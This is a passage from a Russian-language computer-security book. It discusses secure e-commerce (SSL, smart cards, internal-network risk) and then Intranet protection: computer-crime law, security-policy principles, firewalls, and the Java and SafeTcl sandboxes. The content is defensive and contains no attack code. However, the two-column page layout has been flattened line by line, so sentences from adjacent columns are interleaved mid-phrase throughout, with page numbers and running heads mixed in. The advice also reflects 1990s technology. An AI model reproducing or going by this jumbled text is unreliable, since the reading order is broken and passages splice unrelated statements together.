сообщил о результатах расследования,
проведенного неназванной компанией, Итак, мы убедились, что угроза
занимающейся обеспечением безопасности компьютерного преступления вполне реальна. Тем
(включая принятие контрмер) частных не менее систему безопасной электронной
промышленных компаний. Данная компания коммерции построить вполне можно. Это как
собирать детскую головоломку — из большого

235 236
Деньги и хакинг Деньги и хакинг

числа разрозненных деталей получается единое самым надежным механизмом защиты является
целое. Secure Sockets Layer (SSL). SSL смело можно
Например, когда клиент связывается с назвать лидером, уже по одному тому, что,
Secuirty First Network Bank и запрашивает текущее благодаря усилиям Netscape, он установлен на
состояние счета, изображение сломанного ключа в огромном числе настольных станций. Клиентам не
нижней части экрана Netscape сменяется придется принимать какоето специальное
изображением целого ключа — это означает, что решение относительно SSL — он настолько
клиент успешно установил соединение с общепринят, что браузерами, не
банковской системой. После этого клиент может поддерживающими SSL, просто никто не
просмотреть информацию о том, каким органом пользуется. Как обычно, наиболее широко
выдан банковский сертификат — в данном случае применяемая программа становится отраслевым
это VeriSign. Далее клиент вводит номер своего стандартом. Клиентам, использующим SSL, не
счета и свой личный номер (personal identification придется устанавливать какоелибо другое
number, PIN). При обращении к системе программное обеспечение на своих машинах.
электронной торговли, от клиента, скорее всего, Шифровка по методу RSA, управление ключами,
потребуется еще и номер кредитной карточки. В поддержка сертификатов — все эти функции
свою очередь, торговая организация свяжется с встроены в SSL. В качестве сертификационного
компанией Verifone, чтобы проверить органа выступает VeriSign. Для проверки
платежеспособность карточки. платежеспособности кредитных карточек
используется Verifone. Все основные строительные
Уильям Муррей из компании Deloitte and элементы электронной коммерции уже встали на
Touche, горячий сторонник защиты информации, место, — рассказывает гн Муррей.
говорит, что в настоящее время уже существуют
несколько видов безопасной электронной Тем не менее надо отметить, что с
коммерции. Если знать, у кого покупать серверы, применением различных прикладных программ
то уже сейчас вполне можно без всякой опасности сопряжены риски разной природы, и поэтому для
обмениваться информацией через Internet. Можно, разных приложений нужны различные средства
например, установить коммерческие серверы, обеспечения безопасности. Маркус Ранум, в свое
которые не допускают вмешательства время разрабатывавший брандмауэры для
посторонних и поддерживают безопасные компаний Digital Equipment и Trusted Information
протоколы, — говорит гн Муррей. Как указывает Systems, а сейчас работающий ведущим научным
Уильям Муррей, для покупок по кредитным сотрудником компании VOne, подчеркивает, что
карточкам и онлайновых банковских систем, для выработки правильной стратегии электронной

237 238
Деньги и хакинг Деньги и хакинг

коммерции компания должна в первую очередь долларов — это не слишком большие деньги. С
внимательно изучить собственную бизнессхему. другой стороны, брокерская компания не имеет
Необходимая степень защиты системы права допустить, чтобы хакер получил доступ к
электронной коммерции в значительной степени портфелю богатого клиента — в противном случае
зависит от характера бизнеса компании. ответственность может быть весьма велика.
Например, цветочный магазин и брокерская Другая серьезная проблема, с которой
контора должны использовать совершенно может столкнуться брокерская компания, — это
различные модели электронной коммерции. запрет на признание сделки недействительной.
Цветочный магазин, скорее всего, сочтет Представьте себе, что станется с рынком акций,
правильным организовать чтото вроде если клиент позвонит в биржевой комитет и
электронной витрины, а брокерская контора почти скажет: «Слушайте, ребята, это не я продал
наверняка воспользуется бизнесмоделью миллион акций Netscape в пятницу, когда они
партнерства в киберпространстве. При работе в стояли на 30 пунктах. Я собирался сделать это
рамках модели электронной витрины любой сегодня, когда они стоят на 110 пунктах». Ясно,
покупатель, имеющий электронные наличные или что биржевой комитет не никак не может такого
платежеспособную кредитную карту, может допустить.
совершить необходимую ему операцию. Модель Чтобы гарантировать безопасность бизнеса,
партнерства, напротив, предполагает, что у брокерские конторы должны иметь возможность
брокерской конторы имеются зарегистрированные идентифицировать клиентов и обеспечить запрет
клиенты, которые перед началом работы должны на расторжение сделки. По мнению Маркуса
проходить процедуру идентификации. Ранума, это весьма серьезная проблема: «Меня
Компании этих двух типов работают по пугает, что некоторые брокерские конторы
принципиально различным бизнесмоделям и пользуются соединением под SSL для
сталкиваются с принципиально различными установления прямого канала обмена
уровнями ответственности. Цветочный магазин, зашифрованной информацией. По этому каналу
работающий через Internet, рискует понести клиент посылает свой пароль. Затем на
убытки, равные стоимости цветов или 50 брокерской фирме говорят: «Э, да это, похоже,
долларов — в зависимости от того, какая сумма Маркус. Пускай продает свои акции». А что если я
больше. Сумма ответственности клиентов работаю с Netscape из окна Unix (Unix box), где
цветочного магазина (в зависимости от условий запущен X Window? Откуда известно, я ли это на
договора на использование кредитной карточки) самом деле или ктото влез в мой сеанс? А может
также не превышает стоимости цветов или 50 быть, ктото запустил программуищейку (sniffer),

239 240
Деньги и хакинг Деньги и хакинг

которая перехватывает все, что я набираю на может быть выполнена процедура электронной
клавиатуре через свой Xтерминал? Может быть, подписи и другие необходимые действия.
Netscape запущен гдето на сервере, а я работаю с Например, ключи PGP (Pretty Good Privacy)
ним через Xтерминал? Поэтому, несмотря на то, нужно гдето хранить. Что будет с клиентом,
что между брокерской конторой и сервером работающим с брокерской конторой, если
действительно существует надежный канал ктонибудь украдет его ключи? Ничего хорошего.
обмена, между Xтерминалом и рабочей станцией Если же у клиента имеется интеллектуальная
мой пароль передается открытым текстом. Такие карточка, то он может переписать ключи на нее, и
вещи случаются отнюдь не редко. тогда они будут менее уязвимы. Недостаток
Для разных бизнесмоделей требуются интеллектуальных карточек состоит в том, что с их
разные средства обеспечения безопасности. приобретением связаны дополнительные расходы.
Компании, торгующей цветами или продающей Но тут, опятьтаки, надо вспомнить, что
авиабилеты, стоит позаботиться о защите необходимый уровень безопасности определяется
транзакций, а потом оценить, насколько ее характером бизнесмодели — чем можно рискнуть
устраивает существующий уровень и на какие расходы компания готова пойти, чтобы
ответственности. Эту ответственность следует застраховать себя от возможных потерь.
затем учесть при подсчете себестоимости (cost of Следует также подумать, где и каким
doing business). Напротив, если в бизнесмодели образом размещать на Internet коммерческую
заложена серьезная ответственность, а кроме того, прикладную систему. Стоит ли заводить свой
требуется обеспечить строгий запрет на собственный Web site и обеспечивать его
расторжение сделки, то компании придется безопасность самостоятельно? Или стоит
раскошелиться на установку более сложных и воспользоваться услугами Internetпровайдера? А
безопасных решений для электронной может быть, лучше арендовать виртуальное
коммерции — например, воспользоваться пространство (virtual real estate) на стороне? Как
интеллектуальными карточками (smart card). определить, какое решение приведет к наилучшим
Интеллектуальные карточки представляют результатам? Уильям Муррей (Deloitte and Touche)
собой высокозащищенный оффлайновый дает глубокомысленный ответ: «Ответ на все
компьютер со своей собственной постоянной трудные вопросы в области информационных
памятью. Интеллектуальные карточки могут технологий один и тот же: все зависит от
загружать в свою память те части транзакций, где конкретной ситуации». Никому такой ответ не
требуется идентификация пользователя. Далее нравится — каждый хотел бы услышать некий
универсальный рецепт, который позволил бы

241 242
Деньги и хакинг Деньги и хакинг

избавиться от ответственности за принятие коммерции полностью решается построением


решения. И все же необходимо внимательно брандмауэра и шифровкой транзакций. Они
ознакомиться с работой приложения и с упускают из виду еще один критически важный
операционной средой, где его предполагается момент — безопасность внутренней сети
использовать. Задолго до того, как установить компании».
приложение в своей компании, следует Как утверждает Линда Маккарти, если
ознакомиться с работой прототипа, затем внутренняя сеть не обеспечивает безопасность,
попытаться установить прототип в своей системе, защита Internetсоединения лишена смысла. Если
причем здесь не обойтись без помощи хакер может проникнуть во внутреннюю сеть, то
когонибудь, кто уже имеет опыт работы с все брандмауэры и шифрованные линии связи
Webсерверами — например можно поговорить с никакой роли не играют — хакер может попросту
какимнибудь известным Internetпровайдером, о вломиться в финансовые приложения и делать все,
котором имеются положительные отзывы и что ему заблагорассудится, — говорит гжа
который хорошо знает, как обеспечивать Маккарти. — Если компания хочет заниматься
компьютерную безопасность при работе в Internet. безопасной электронной коммерцией, то ей
следует потратиться на обеспечение безопасности
Глава 4: Волк в овечьей шкуре внутренней сети — сиюминутная экономия может
обернуться колоссальными расходами (а то и
Когда речь заходит об электронной полным разорением) в будущем.
коммерции, всякий норовит поговорить о технике По словам Уильяма Муррея, волк уже готов
шифровки и обеспечении безопасности сбросить овечью шкуру. Кем бы злоумышленник
транзакций. Между тем существует еще довольно ни оказался — знакомым (например нечестным
много проблем, о которых часто забывают. Линда сотрудником) или незнакомым (скажем
Маккарти, менеджер по безопасности хакером) — наиболее вероятно, что удар будет
коммерческих систем для Internet компании Sun нанесен гдето в пределах внутренней сети.
Microsystems, поясняет: «Многие компании
стремительно переходят к использованию Internet; Наиболее серьезная проблема состоит в том,
они готовы потратить деньги на то, чтобы чтобы корректно передать данные с Webсервера
застраховать себя от возможных рисков. Слишком через корпоративную сеть на обслуживающий
часто, однако, руководители компаний, от приложение компьютер, — отмечает Уильям
которых зависит принятие решений, считают, что Муррей. — Именно там бандиты на вас и
задача обеспечения безопасности электронной нападут — там же, где и всегда нападали. И вы
еще надеялись отсидеться за брандмауэром!

243 244
Деньги и хакинг Деньги и хакинг

Рассмотрим организацию, до сих пор безопасностью сети? Одну из этих проблем всегда
довольствовавшуюся минимальным уровнем связи игнорируют».
с Internet. Может быть, ее сотрудники Другими словами, если внутренняя сеть не
пользовались электронной почтой и выходом в обеспечивает достаточной безопасности, то
Internet или, возможно, у организации было нечто, защищать соединение через Internet не имеет
что казалось администратору сети надежным никакого смысла. Напротив, если сеть защищена,
брандмауэром. И вот руководство возжаждало то добиться безопасности на Internet не слишком
заняться электронной коммерцией. Администратор сложно.
сети приводит консультанта, и тот объясняет: «Хе,
ребята, да в вашу сеть только ленивый не залезет». К несчастью, во многих компаниях выход в
Internet осуществляется через несколько точек,
Разумеется, никакой документации на причем руководство, как правило, не имеет ни
конфигурацию сети нет. Консультант заводит малейшего представления о числе таких точек.
разговор о слежении за изменениями в Проверки систем безопасности проводятся крайне
конфигурации сети, но выясняется, что редко. Хочешь увидеть ошеломленное
статистических данных об основном состоянии лицо — спроси любого администратора
сети (baseline) тоже нет. Администратор клянется, информационной системы, сколько модемов
что с завтрашнего же дня запретит производить насчитывается в его сети. Разумеется, в такой
изменения в сети без специальной санкции, ситуации не имеет ни малейшего значения,
однако сам тут же понимает, что это лишено установлен ли в системе надежный брандмауэр и
всякого смысла — если об основном состоянии шифруются ли передаваемые транзакции,
сети ничего не известно, то каким образом можно поскольку нет возможности защититься ни от
узнать, является ли данное изменение внешней, ни от внутренней угрозы.
конфигурации проявлением злого умысла,
элементом основного состояния или Так с чего же начать? В идеале следует
санкционированным изменением. Ни разу организовать несколько доменов безопасности
администратору сети не приходило в голову, что (security domain) — например, офис, производство,
такое пренебрежение документацией может опытные разработки, Internet, деловые партнеры.
помешать подключению организации к Internet. Затем надо нарисовать табличку (матрицу), в
каждой клетке которой следует указать, какие
Маркус Ранум формулирует типы связи и сетевых услуг разрешены для
вышеописанную проблему в форме парадокса: «В каждого домена. Допустим, в домене опытных
чем разница между безопасностью на Internet и разработок можно пользоваться протоколом telnet,
в офисном домене следует прибегать к услугам

245 246
Деньги и хакинг Деньги и хакинг

электронной почты, а для связи с Остается надеяться, что подробный рассказ о


бизнеспартнерами нужно прибегать к ftp. Эту рисках и угрозах, связанных с продажей товаров и
матрицу, в свою очередь, можно рассматривать услуг через Internet, заставит руководство
как план реализации защитной системы, куда компаний наконец раскошелиться на реализацию
могут входить брандмауэры, маршрутизаторы, долгосрочных программ защиты корпоративной
различные программы, системы шифровки и сети.
прочие защитные средства (spit, duct tape, bailing
wire, glue). Таким образом можно защитить сеть и
от внешних, и от внутренних опасностей. Многие
администраторы сети уже осознали, что сеть надо
делить на домены, к защите каждого из которых
надо подходить в индивидуальном порядке.
Однако во многих случаях администратор просто
не в состоянии сделать это; к несчастью, они
вынуждены рассматривать сеть как один большой
домен. (Более подробную информацию о том, как
защитить корпоративную сеть от внешних и
внутренних опасностей можно найти во врезке
Как защитить свое электронное достояние.)
Задача обеспечения безопасности сети
необычайно сложна. Защитить сеть — это все
равно что менять корпус судна, находясь в
плавании. Хорошего результата тут добиться
невозможно. Обычно приходиться слышать:
«Наплюй и забудь — нам плыть надо, нам надо
добраться до берега». Однако при таком подходе
не приходится надеяться на улучшение положения
в целом.
Электронной коммерцией все равно будут
заниматься — независимо от отношения к ней
какойто конкретной организации. Всегда
найдутся люди, готовые забыть об опасности.

247 248
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

Часть десятая Некоторое время назад один банкир,


прочитав в какомто дорогом журнале статью об
Как защитить и/или информационной безопасности, сделал для себя
вывод, что защищаться бесполезно — слишком
атаковать Intranet велик арсенал потенциального злоумышленника.
Он перестал рассматривать предложения по
защите компьютерной системы банка, считая их
заведомо бесполезными. К фаталистам этого
Глава 1: А безопасен ли Intranet? банкира не отнесешь, однако масса технических
деталей, приведенных в журнальной статье,
Архитектура Intranet подразумевает совершенно запутала и подавила его. Сжав голову
подключение к внешним открытым сетям, руками, он ходил из угла в угол, бормоча: «Пароли
использование внешних сервисов и перехватываются, соединения крадутся, получить
предоставление собственных сервисов вовне, что привилегии root — раз плюнуть и т.д. и т.п.»
предъявляет повышенные требования к защите Попытки указать ему на то, что в статье допущен
информации. ряд чисто технических ошибок, что не оговорены
условия, при которых возможна та или иная атака,
В Intranetсистемах используется подход
что, наконец, отсутствует комплексный подход к
клиентсервер, а главная роль на сегодняшний
проблеме безопасности, успеха не имели.
день отводится Webсервису.
Так совпало, что вскоре дела банка, где
Webсерверы должны поддерживать
работал наш банкир, стали идти все хуже и хуже.
традиционные защитные средства, такие как
Более удачливые конкуренты, казалось, все время
аутентификация и разграничение доступа; кроме
предугадывали его ходы, постоянно оказываясь на
того, необходимо обеспечение новых свойств, в
полшага впереди…
особенности безопасности программной среды и
на серверной, и на клиентской сторонах. Формирование режима информационной
безопасности — проблема комплексная. Меры по
Таковы, если говорить совсем кратко,
ее решению можно разделить на четыре уровня:
задачи в области информационной безопасности,
возникающие в связи с переходом на технологию ● законодательный (законы, нормативные акты,
Intranet. Далее мы рассмотрим возможные стандарты и т.п.);
подходы к их решению.
Позволим себе небольшое отступление…

249 250
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

● административный (действия общего проводит Государственная техническая комиссия


характера, предпринимаемые руководством (Гостехкомиссия) при Президенте Российской
организации); Федерации. В рамках серии руководящих
● процедурный (конкретные меры документов (РД) Гостехкомиссии подготовлен
безопасности, имеющие дело с людьми); проект РД, устанавливающий классификацию
межсетевых экранов (firewalls, или брандмауэров)
● программнотехнический (конкретные по уровню обеспечения защищенности от
технические меры). несанкционированного доступа (НСД). Это
принципиально важный документ, позволяющий
Глава 2: Законодательный уровень упорядочить использование защитных средств,
необходимых для реализации технологии Intranet.
В настоящее время наиболее подробным
законодательным документом в области
информационной безопасности является Глава 3: Разработка сетевых
Уголовный кодекс. аспектов политики безопасности
В разделе IX (Преступления против Политика безопасности определяется как
общественной безопасности) имеется глава совокупность документированных управленческих
28 — Преступления в сфере компьютерной решений, направленных на защиту информации и
информации. Она содержит три статьи — 272 ассоциированных с ней ресурсов.
(Неправомерный доступ к компьютерной
информации), 273 (Создание, использование и При разработке и проведении ее в жизнь
распространение вредоносных программ для ЭВМ) целесообразно руководствоваться следующими
и 274 — Нарушение правил эксплуатации ЭВМ, принципами:
системы ЭВМ или их сети. Уголовный кодекс ● невозможность миновать защитные средства;
стоит на страже всех аспектов информационной ● усиление самого слабого звена;
безопасности — доступности, целостности,
конфиденциальности, предусматривая наказания ● невозможность перехода в небезопасное
за уничтожение, блокирование, модификацию и состояние;
копирование информации, нарушение работы ● минимизация привилегий;
ЭВМ, системы ЭВМ или их сети. ● разделение обязанностей;
Весьма энергичную работу в области ● эшелонированность обороны;
современных информационных технологий
● разнообразие защитных средств;
251 252
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

● простота и управляемость информационной Принцип минимизации привилегий


системы; предписывает выделять пользователям и
● обеспечение всеобщей поддержки мер администраторам только те права доступа, которые
безопасности. необходимы им для выполнения служебных
обязанностей.
Поясним смысл перечисленных принципов.
Принцип разделения обязанностей
Если у злоумышленника или недовольного предполагает такое распределение ролей и
пользователя появится возможность миновать ответственности, при котором один человек не
защитные средства, он, разумеется, так и сделает. может нарушить критически важный для
Применительно к межсетевым экранам данный организации процесс. Это особенно важно, чтобы
принцип означает, что все информационные предотвратить злонамеренные или
потоки в защищаемую сеть и из нее должны неквалифицированные действия системного
проходить через экран. Не должно быть тайных администратора.
модемных входов или тестовых линий, идущих в
обход экрана. Принцип эшелонированности обороны
предписывает не полагаться на один защитный
Надежность любой обороны определяется рубеж, каким бы надежным он ни казался.
самым слабым звеном. Злоумышленник не будет
бороться против силы, он предпочтет легкую За средствами физической защиты должны
победу над слабостью. Часто самым слабым следовать программнотехнические средства,
звеном оказывается не компьютер или программа, за идентификацией и аутентификацией идет
а человек, и тогда проблема обеспечения управление доступом и, как последний
информационной безопасности приобретает рубеж, — протоколирование и аудит.
нетехнический характер. Эшелонированная оборона способна по крайней
мере задержать злоумышленника, а наличие такого
Принцип невозможности перехода в рубежа, как протоколирование и аудит,
небезопасное состояние означает, что при любых существенно затрудняет незаметное выполнение
обстоятельствах, в том числе нештатных, защитное злоумышленных действий.
средство либо полностью выполняет свои
функции, либо полностью блокирует доступ. Принцип разнообразия защитных средств
Образно говоря, если в крепости механизм рекомендует организовывать различные по своему
подъемного моста ломается, мост должен характеру оборонительные рубежи, чтобы от
оставаться в поднятом состоянии, препятствуя потенциального злоумышленника требовалось
проходу неприятеля. овладение разнообразными и, по возможности,

253 254
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

несовместимыми между собой навыками Анализ рисков — важнейший этап


(например, умением преодолевать высокую ограду выработки политики безопасности. При оценке
и знанием слабостей нескольких операционных рисков, которым подвержены Intranetсистемы,
систем). нужно учитывать следующие обстоятельства:
Очень важен принцип простоты и новые угрозы по отношению к старым сервисам,
управляемости информационной системы в целом вытекающие из возможности пассивного или
и защитных средств в особенности. активного прослушивания сети. Пассивное
прослушивание означает чтение сетевого трафика,
Только для простого защитного средства а активное — его изменение (кражу, дублирование
можно формально или неформально доказать его или модификацию передаваемых данных).
корректность. Только в простой и управляемой Например, аутентификация удаленного клиента с
системе можно проверить согласованность помощью пароля многократного использования не
конфигурации разных компонентов и осуществить может считаться надежной в сетевой среде,
централизованное администрирование. В этой независимо от длины пароля; новые (сетевые)
связи важно отметить интегрирующую роль сервисы и ассоциированные с ними угрозы.
Webсервиса, скрывающего разнообразие
обслуживаемых объектов и предоставляющего Как правило, в Intranetсистемах следует
единый, наглядный интерфейс. Соответственно, придерживаться принципа все, что не разрешено,
если объекты некоторого вида (скажем таблицы запрещено, поскольку лишний сетевой сервис
базы данных) доступны через Web, необходимо может предоставить канал проникновения в
заблокировать прямой доступ к ним, поскольку в корпоративную систему. В принципе, ту же мысль
противном случае система будет сложной и выражает положение все непонятное опасно.
трудноуправляемой.
Последний принцип — всеобщая поддержка Глава 4: Процедурные меры
мер безопасности — носит нетехнический
характер. Если пользователи и/или системные В общем и целом Intranetтехнология не
администраторы считают информационную предъявляет какихлибо специфических
безопасность чемто излишним или даже требований к мерам процедурного уровня. На наш
враждебным, режим безопасности сформировать взгляд, отдельного рассмотрения заслуживают
заведомо не удастся. Следует с самого начала лишь два обстоятельства:
предусмотреть комплекс мер, направленный на ● описание должностей, связанных с
обеспечение лояльности персонала, на постоянное определением, наполнением и поддержанием
обучение, теоретическое и, главное, практическое.

255 256
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

корпоративной гипертекстовой структуры Подчеркнем, что они не должны иметь прав на


официальных документов; модификацию корпоративного дерева и отдельных
● поддержка жизненного цикла информации, документов. Их дело — передать свой труд
наполняющей Intranet. редактору.
При описании должностей целесообразно Кроме официальных, корпоративных, в
исходить из аналогии между Intranet и Intranet могут присутствовать групповые и личные
издательством. В издательстве существует документы, порядок работы с которыми (роли,
директор, определяющий общую направленность права доступа) определяется, соответственно,
деятельности. В Intranet ему соответствует групповыми и личными интересами.
Webадминистратор, решающий, какая Переходя к вопросам поддержки
корпоративная информация должна жизненного цикла Intranetинформации,
присутствовать на Webсервере и как следует напомним о необходимости использования средств
структурировать дерево (точнее, граф) конфигурационного управления. Важное
HTMLдокументов. достоинство Intranetтехнологии состоит в том, что
В многопрофильных издательствах основные операции конфигурационного
существуют редакции, занимающиеся управления — внесение изменений (создание
конкретными направлениями (математические новой версии) и извлечение старой версии
книги, книги для детей и т.п.). Аналогично, в документа — естественным образом вписываются
Intranet целесообразно выделить должность в рамки Webинтерфейса. Те, для кого это
публикатора, ведающего появлением документов необходимо, могут работать с деревом всех версий
отдельных подразделений и определяющего всех документов, подмножеством которого
перечень и характер публикаций. является дерево самых свежих версий.
У каждой книги есть титульный редактор,
отвечающий перед издательством за свою работу. Глава 5: Управление доступом путем
В Intranet редакторы занимаются вставкой фильтрации информации
документов в корпоративное дерево, их
коррекцией и удалением. В больших организациях Мы переходим к рассмотрению мер
слой публикатор/редактор может состоять из программнотехнического уровня, направленных
нескольких уровней. на обеспечение информационной безопасности
Наконец, и в издательстве, и в Intranet систем, построенных в технологии Intranet. На
должны быть авторы, создающие документы. первое место среди таких мер мы поставим

257 258
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

межсетевые экраны — средство разграничения дальнейшую декомпозицию, связанную с


доступа, служащее для защиты от внешних угроз и обслуживанием различных сетевых протоколов.
от угроз со стороны пользователей других Межсетевой экран — это полупроницаемая
сегментов корпоративных сетей. мембрана, которая располагается между
Отметим, что бороться с угрозами, защищаемой (внутренней) сетью и внешней
присущими сетевой среде, средствами средой (внешними сетями или другими
универсальных операционных систем не сегментами корпоративной сети) и контролирует
представляется возможным. Универсальная все информационные потоки во внутреннюю сеть
ОС — это огромная программа, наверняка и из нее. Контроль информационных потоков
содержащая, помимо явных ошибок, некоторые состоит в их фильтрации, то есть в выборочном
особенности, которые могут быть использованы пропускании через экран, возможно, с
для получения нелегальных привилегий. выполнением некоторых преобразований и
Современная технология программирования извещением отправителя о том, что его данным в
не позволяет сделать столь большие программы пропуске отказано. Фильтрация осуществляется на
безопасными. Кроме того, администратор, основе набора правил, предварительно
имеющий дело со сложной системой, далеко не загруженных в экран и являющихся выражением
всегда в состоянии учесть все последствия сетевых аспектов политики безопасности
производимых изменений (как и врач, не организации.
ведающий всех побочных воздействий Целесообразно разделить случаи, когда
рекомендуемых лекарств). Наконец, в экран устанавливается на границе с внешней
универсальной многопользовательской системе (обычно общедоступной) сетью или на границе
бреши в безопасности постоянно создаются между сегментами одной корпоративной сети.
самими пользователями (слабые и/или редко Соответственно, мы будет говорить о внешнем и
изменяемые пароли, неудачно установленные внутреннем межсетевых экранах.
права доступа, оставленный без присмотра Как правило, при общении с внешними
терминал и т.п.). сетями используется исключительно семейство
Как указывалось выше, единственный протоколов TCP/IP. Поэтому внешний межсетевой
перспективный путь связан с разработкой экран должен учитывать специфику этих
специализированных защитных средств, которые в протоколов. Для внутренних экранов ситуация
силу своей простоты допускают формальную или сложнее, здесь следует принимать во внимание
неформальную верификацию. Межсетевой экран помимо TCP/IP по крайней мере протоколы
как раз и является таким средством, допускающим SPX/IPX, применяемые в сетях Novell NetWare.

259 260
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

Иными словами, от внутренних экранов нередко мало отличаются от экранирующих


требуется многопротокольность. маршрутизаторов.
Ситуации, когда корпоративная сеть При принятии решения пропустить/не
содержит лишь один внешний канал, является, пропустить, межсетевые экраны могут
скорее, исключением, чем правилом. использовать не только информацию,
Напротив, типична ситуация, при которой содержащуюся в фильтруемых потоках, но и
корпоративная сеть состоит из нескольких данные, полученные из окружения, например
территориально разнесенных сегментов, каждый текущее время.
из которых подключен к сети общего пользования. Таким образом, возможности межсетевого
В этом случае каждое подключение должно экрана непосредственно определяются тем, какая
защищаться своим экраном. Точнее говоря, можно информация может использоваться в правилах
считать, что корпоративный внешний межсетевой фильтрации и какова может быть мощность
экран является составным, и требуется решать наборов правил. Вообще говоря, чем выше
задачу согласованного администрирования уровень в модели ISO/OSI, на котором
(управления и аудита) всех компонентов. функционирует экран, тем более содержательная
При рассмотрении любого вопроса, информация ему доступна и, следовательно, тем
касающегося сетевых технологий, основой служит тоньше и надежнее экран может быть
семиуровневая эталонная модель ISO/OSI. сконфигурирован. В то же время фильтрация на
Межсетевые экраны также целесообразно каждом из перечисленных выше уровней обладает
классифицировать по тому, на каком уровне своими достоинствами, такими как дешевизна,
производится фильтрация — канальном, сетевом, высокая эффективность или прозрачность для
транспортном или прикладном. Соответственно, пользователей. В силу этой, а также некоторых
можно говорить об экранирующих других причин, в большинстве случаев
концентраторах, маршрутизаторах, о транспортном используются смешанные конфигурации, в
экранировании и о прикладных экранах. которых объединены разнотипные экраны.
Существуют также комплексные экраны, Наиболее типичным является сочетание
анализирующие информацию на нескольких экранирующих маршрутизаторов и прикладного
уровнях. экрана.
Мы не будем рассматривать экранирующие Эта конфигурация называется
концентраторы, поскольку концептуально они экранирующей подсетью. Как правило, сервисы,
которые организация предоставляет для внешнего
применения (например представительский

261 262
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

Webсервер), целесообразно выносить как раз в Помимо блокирования потоков данных,


экранирующую подсеть. нарушающих политику безопасности, межсетевой
Помимо выразительных возможностей и экран может скрывать информацию о защищаемой
допустимого количества правил качество сети, тем самым затрудняя действия
межсетевого экрана определяется еще двумя очень потенциальных злоумышленников. Так,
важными характеристиками — простотой прикладной экран может осуществлять действия
применения и собственной защищенностью. В от имени субъектов внутренней сети, в результате
плане простоты использования первостепенное чего из внешней сети кажется, что имеет место
значение имеют наглядный интерфейс при взаимодействие исключительно с межсетевым
задании правил фильтрации и возможность экраном. При таком подходе топология
централизованного администрирования составных внутренней сети скрыта от внешних
конфигураций. В свою очередь, в последнем пользователей, поэтому задача злоумышленника
аспекте хотелось бы выделить средства существенно усложняется.
централизованной загрузки правил фильтрации и Более общим методом сокрытия
проверки набора правил на непротиворечивость. информации о топологии защищаемой сети
Важен и централизованный сбор и анализ является трансляция внутренних сетевых адресов,
регистрационной информации, а также получение которая попутно решает проблему расширения
сигналов о попытках выполнения действий, адресного пространства, выделенного организации.
запрещенных политикой безопасности. Ограничивающий интерфейс также можно
Собственная защищенность межсетевого рассматривать как разновидность экранирования.
экрана обеспечивается теми же средствами, что и На невидимый объект трудно нападать, особенно с
защищенность универсальных систем. При помощью фиксированного набора средств. В этом
выполнении централизованного смысле Webинтерфейс обладает естественной
администрирования следует еще позаботиться о защитой, особенно в том случае, когда
защите информации от пассивного и активного гипертекстовые документы формируются
прослушивания сети, то есть обеспечить ее динамически. Каждый видит лишь то, что ему
(информации) целостность и конфиденциальность. положено.
Хотелось бы подчеркнуть, что природа Экранирующая роль Webсервиса наглядно
экранирования (фильтрации), как механизма проявляется и тогда, когда этот сервис
безопасности, очень глубока. осуществляет посреднические (точнее,
интегрирующие) функции при доступе к другим
ресурсам, в частности таблицам базы данных.

263 264
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

Здесь не только контролируются потоки запросов, пользователя, от имени которого выполняется


но и скрывается реальная организация баз данных. Webсервер.
В технологии Intranet, если заботиться о
Глава 6: Безопасность программной качестве и выразительной силе пользовательского
интерфейса, возникает нужда в перемещении
среды программ с Webсерверов на клиентские
Идея сетей с так называемыми активными компьютеры — для создания анимации,
агентами, когда между компьютерами передаются выполнения семантического контроля
не только пассивные, но и активные исполняемые при вводе данных и т.д. Вообще, активные
данные (то есть программы), разумеется, не нова. агенты — неотъемлемая часть технологии Intranet.
Первоначально цель состояла в том, чтобы В каком бы направлении ни перемещались
уменьшить сетевой трафик, выполняя основную программы по сети, эти действия представляют
часть обработки там, где располагаются данные повышенную опасность, т.к. программа,
(приближение программ к данным). На практике полученная из ненадежного источника, может
это означало перемещение программ на серверы. содержать непреднамеренно внесенные ошибки
Классический пример реализации подобного или целенаправленно созданный зловредный код.
подхода — это хранимые процедуры в Такая программа потенциально угрожает всем
реляционных СУБД. основным аспектам информационной
Для Webсерверов аналогом хранимых безопасности:
процедур являются программы, обслуживающие ● доступности (программа может поглотить все
общий шлюзовой интерфейс (Common Gateway наличные ресурсы);
Interface — CGI). CGIпроцедуры располагаются ● целостности (программа может удалить или
на серверах и обычно используются для повредить данные);
динамического порождения HTMLдокументов.
Политика безопасности организации и ● конфиденциальности (программа может
процедурные меры должны определять, кто имеет прочитать данные и передать их по сети).
право помещать на сервер CGIпроцедуры. Проблему ненадежных программ осознавали
Жесткий контроль здесь необходим, поскольку давно, но, пожалуй, только в рамках системы
выполнение сервером некорректной программы программирования Java впервые предложена
может привести к сколь угодно тяжелым целостная концепция ее решения.
последствиям. Разумная мера технического
характера состоит в минимизации привилегий

265 266
Как защитить и/или атаковать Intranet Как защитить и/или атаковать Intranet

Java предлагает три оборонительных рубежа: Интересный подход предлагают


● надежность языка; специалисты компании Sun Microsystems для
обеспечения безопасного выполнения командных
● контроль при получении программ; файлов. Речь идет о среде SafeTcl (Tool Comman
● контроль при выполнении программ. Language, инструментальный командный язык).
Впрочем, существует еще одно, очень Sun предложила так называемую ячеечную модель
важное средство обеспечения информационной интерпретации командных файлов. Существует
безопасности — беспрецедентная открытость главный интерпретатор, которому доступны все
Javaсистемы. Исходные тексты Javaкомпилятора возможности языка. Если в процессе работы
и интерпретатора доступны для проверки, поэтому приложения необходимо выполнить сомнительный
велика вероятность, что ошибки и недочеты командный файл, порождается подчиненный
первыми будут обнаруживать честные командный интерпретатор, обладающий
специалисты, а не злоумышленники. ограниченной функциональностью (например, из
него могут быть удалены средства работы с
В концептуальном плане наибольшие
файлами и сетевые возможности). В результате
трудности представляет контролируемое
потенциально опасные программы оказываются
выполнение программ, загруженных по сети.
заключенными в ячейки, защищающие
Прежде всего, необходимо определить, какие
пользовательские системы от враждебных
действия считаются для таких программ
действий. Для выполнения действий, которые
допустимыми. Если исходить из того, что
считаются привилегированными, подчиненный
Java — это язык для написания клиентских частей
интерпретатор может обращаться с запросами к
